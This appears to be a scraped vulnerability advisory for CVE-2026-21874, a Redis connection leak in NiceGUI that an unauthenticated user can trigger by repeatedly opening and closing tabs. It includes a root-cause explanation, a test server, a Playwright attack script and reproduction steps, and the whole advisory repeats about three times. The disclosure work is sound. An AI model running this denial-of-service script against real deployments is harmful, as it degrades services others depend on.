CVE-2026-21874

NiceGUI is a Python-based UI framework. From versions v2.10.0 to 3.4.1, an unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality. This issue has been patched in version 3.5.0.

NiceGUI is a Python-based UI framework. From versions v2.10.0 to 3.4.1, an unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality. This issue has been patched in version 3.5.0.

Summary

An unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.

Details

When a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L319. By then tab_id is None, so there's no way to find the RedisPersistentDict and call https://github.com/zauberzeug/nicegui/blob/main/nicegui/persistence/redis_persistent_dict.py#L92.

Each tab creates a RedisPersistentDict with a Redis client connection and a pubsub subscription. These are never closed, accumulating until Redis maxclients is reached.

PoC

Test server (test_connection_leak.py)

import os
import logging
from datetime import timedelta

import redis
from nicegui import ui, app
from nicegui.client import Client

logging.basicConfig(level=logging.WARNING, format="%(asctime)s %(levelname)s %(message)s")
logging.getLogger("leak").setLevel(logging.INFO)
log = logging.getLogger("leak")

_original_handle_disconnect = Client.handle_disconnect
_original_delete = Client.delete


def _patched_handle_disconnect(self, socket_id: str) -> None:
    tab_id_before = self.tab_id
    _original_handle_disconnect(self, socket_id)
    log.warning("disconnect: tab_id=%s cleared, tabs=%d", tab_id_before, len(app.storage._tabs))


def _patched_delete(self) -> None:
    tab_id = self.tab_id
    tabs_before = len(app.storage._tabs)
    _original_delete(self)
    log.error("delete: tab_id=%s, tabs=%d->%d", tab_id, tabs_before, len(app.storage._tabs))


Client.handle_disconnect = _patched_handle_disconnect
Client.delete = _patched_delete

_last_stats: tuple[int, int] = (0, 0)


def log_stats() -> None:
    global _last_stats
    client = redis.from_url(os.environ["NICEGUI_REDIS_URL"])
    conns = client.info("clients")["connected_clients"]
    client.close()
    tabs = len(app.storage._tabs)
    if (conns, tabs) != _last_stats:
        log.info("stats: conns=%d tabs=%d", conns, tabs)
        _last_stats = (conns, tabs)


@ui.page("/")
async def main():
    await ui.context.client.connected()
    app.storage.tab["visited"] = True
    ui.label("Check logs")
    ui.timer(interval=2.0, callback=log_stats)


if __name__ == "__main__":
    app.storage.max_tab_storage_age = timedelta(days=30).total_seconds()
    ui.run(storage_secret="test", reconnect_timeout=2.0, reload=False)

Attack script (attack_connection_leak.py)

import asyncio
from playwright.async_api import async_playwright


async def attack(url: str, num_tabs: int) -> None:
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        for i in range(num_tabs):
            context = await browser.new_context()
            page = await context.new_page()
            try:
                await page.goto(url, wait_until="domcontentloaded", timeout=10000)
                await page.wait_for_timeout(500)
            except Exception:
                pass
            await context.close()
        await browser.close()


if __name__ == "__main__":
    asyncio.run(attack(url="http://127.0.0.1:8080/", num_tabs=100))

Steps to reproduce

1. Limit Redis connections: redis-cli CONFIG SET maxclients 50
2. Start server: NICEGUI_REDIS_URL=redis://localhost:6379/0 python test_connection_leak.py
3. Run attack: python attack_connection_leak.py
4. Observe server logs - Redis refuses connections:

NiceGUI ready to go on http://localhost:8080, http://10.201.1.10:8080, http://127.94.0.1:8080, http://127.94.0.2:8080, and http://192.168.0.15:8080
2026-01-01 17:19:43,226 INFO stats: conns=12 tabs=1…

NiceGUI is a Python-based UI framework. From versions v2.10.0 to 3.4.1, an unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality. This issue has been patched in version 3.5.0.

NiceGUI is a Python-based UI framework. From versions v2.10.0 to 3.4.1, an unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality. This issue has been patched in version 3.5.0.

Summary

An unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.

Details

When a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L319. By then tab_id is None, so there's no way to find the RedisPersistentDict and call https://github.com/zauberzeug/nicegui/blob/main/nicegui/persistence/redis_persistent_dict.py#L92.

Each tab creates a RedisPersistentDict with a Redis client connection and a pubsub subscription. These are never closed, accumulating until Redis maxclients is reached.

PoC

Test server (test_connection_leak.py)

import os
import logging
from datetime import timedelta

import redis
from nicegui import ui, app
from nicegui.client import Client

logging.basicConfig(level=logging.WARNING, format="%(asctime)s %(levelname)s %(message)s")
logging.getLogger("leak").setLevel(logging.INFO)
log = logging.getLogger("leak")

_original_handle_disconnect = Client.handle_disconnect
_original_delete = Client.delete


def _patched_handle_disconnect(self, socket_id: str) -> None:
    tab_id_before = self.tab_id
    _original_handle_disconnect(self, socket_id)
    log.warning("disconnect: tab_id=%s cleared, tabs=%d", tab_id_before, len(app.storage._tabs))


def _patched_delete(self) -> None:
    tab_id = self.tab_id
    tabs_before = len(app.storage._tabs)
    _original_delete(self)
    log.error("delete: tab_id=%s, tabs=%d->%d", tab_id, tabs_before, len(app.storage._tabs))


Client.handle_disconnect = _patched_handle_disconnect
Client.delete = _patched_delete

_last_stats: tuple[int, int] = (0, 0)


def log_stats() -> None:
    global _last_stats
    client = redis.from_url(os.environ["NICEGUI_REDIS_URL"])
    conns = client.info("clients")["connected_clients"]
    client.close()
    tabs = len(app.storage._tabs)
    if (conns, tabs) != _last_stats:
        log.info("stats: conns=%d tabs=%d", conns, tabs)
        _last_stats = (conns, tabs)


@ui.page("/")
async def main():
    await ui.context.client.connected()
    app.storage.tab["visited"] = True
    ui.label("Check logs")
    ui.timer(interval=2.0, callback=log_stats)


if __name__ == "__main__":
    app.storage.max_tab_storage_age = timedelta(days=30).total_seconds()
    ui.run(storage_secret="test", reconnect_timeout=2.0, reload=False)

Attack script (attack_connection_leak.py)

import asyncio
from playwright.async_api import async_playwright


async def attack(url: str, num_tabs: int) -> None:
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        for i in range(num_tabs):
            context = await browser.new_context()
            page = await context.new_page()
            try:
                await page.goto(url, wait_until="domcontentloaded", timeout=10000)
                await page.wait_for_timeout(500)
            except Exception:
                pass
            await context.close()
        await browser.close()


if __name__ == "__main__":
    asyncio.run(attack(url="http://127.0.0.1:8080/", num_tabs=100))

Steps to reproduce

1. Limit Redis connections: redis-cli CONFIG SET maxclients 50
2. Start server: NICEGUI_REDIS_URL=redis://localhost:6379/0 python test_connection_leak.py
3. Run attack: python attack_connection_leak.py
4. Observe server logs - Redis refuses connections:

NiceGUI ready to go on http://localhost:8080, http://10.201.1.10:8080, http://127.94.0.1:8080, http://127.94.0.2:8080, and http://192.168.0.15:8080
2026-01-01 17:19:43,226 INFO stats: conns=12 tabs=1…

Summary

An unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.

Details

When a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L319. By then tab_id is None, so there's no way to find the RedisPersistentDict and call https://github.com/zauberzeug/nicegui/blob/main/nicegui/persistence/redis_persistent_dict.py#L92.

Each tab creates a RedisPersistentDict with a Redis client connection and a pubsub subscription. These are never closed, accumulating until Redis maxclients is reached.

PoC

Test server (test_connection_leak.py)

import os
import logging
from datetime import timedelta

import redis
from nicegui import ui, app
from nicegui.client import Client

logging.basicConfig(level=logging.WARNING, format="%(asctime)s %(levelname)s %(message)s")
logging.getLogger("leak").setLevel(logging.INFO)
log = logging.getLogger("leak")

_original_handle_disconnect = Client.handle_disconnect
_original_delete = Client.delete


def _patched_handle_disconnect(self, socket_id: str) -> None:
    tab_id_before = self.tab_id
    _original_handle_disconnect(self, socket_id)
    log.warning("disconnect: tab_id=%s cleared, tabs=%d", tab_id_before, len(app.storage._tabs))


def _patched_delete(self) -> None:
    tab_id = self.tab_id
    tabs_before = len(app.storage._tabs)
    _original_delete(self)
    log.error("delete: tab_id=%s, tabs=%d->%d", tab_id, tabs_before, len(app.storage._tabs))


Client.handle_disconnect = _patched_handle_disconnect
Client.delete = _patched_delete

_last_stats: tuple[int, int] = (0, 0)


def log_stats() -> None:
    global _last_stats
    client = redis.from_url(os.environ["NICEGUI_REDIS_URL"])
    conns = client.info("clients")["connected_clients"]
    client.close()
    tabs = len(app.storage._tabs)
    if (conns, tabs) != _last_stats:
        log.info("stats: conns=%d tabs=%d", conns, tabs)
        _last_stats = (conns, tabs)


@ui.page("/")
async def main():
    await ui.context.client.connected()
    app.storage.tab["visited"] = True
    ui.label("Check logs")
    ui.timer(interval=2.0, callback=log_stats)


if __name__ == "__main__":
    app.storage.max_tab_storage_age = timedelta(days=30).total_seconds()
    ui.run(storage_secret="test", reconnect_timeout=2.0, reload=False)

Attack script (attack_connection_leak.py)

import asyncio
from playwright.async_api import async_playwright


async def attack(url: str, num_tabs: int) -> None:
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        for i in range(num_tabs):
            context = await browser.new_context()
            page = await context.new_page()
            try:
                await page.goto(url, wait_until="domcontentloaded", timeout=10000)
                await page.wait_for_timeout(500)
            except Exception:
                pass
            await context.close()
        await browser.close()


if __name__ == "__main__":
    asyncio.run(attack(url="http://127.0.0.1:8080/", num_tabs=100))

Steps to reproduce

1. Limit Redis connections: redis-cli CONFIG SET maxclients 50
2. Start server: NICEGUI_REDIS_URL=redis://localhost:6379/0 python test_connection_leak.py
3. Run attack: python attack_connection_leak.py
4. Observe server logs - Redis refuses connections:

NiceGUI ready to go on http://localhost:8080, http://10.201.1.10:8080, http://127.94.0.1:8080, http://127.94.0.2:8080, and http://192.168.0.15:8080
2026-01-01 17:19:43,226 INFO stats: conns=12 tabs=1…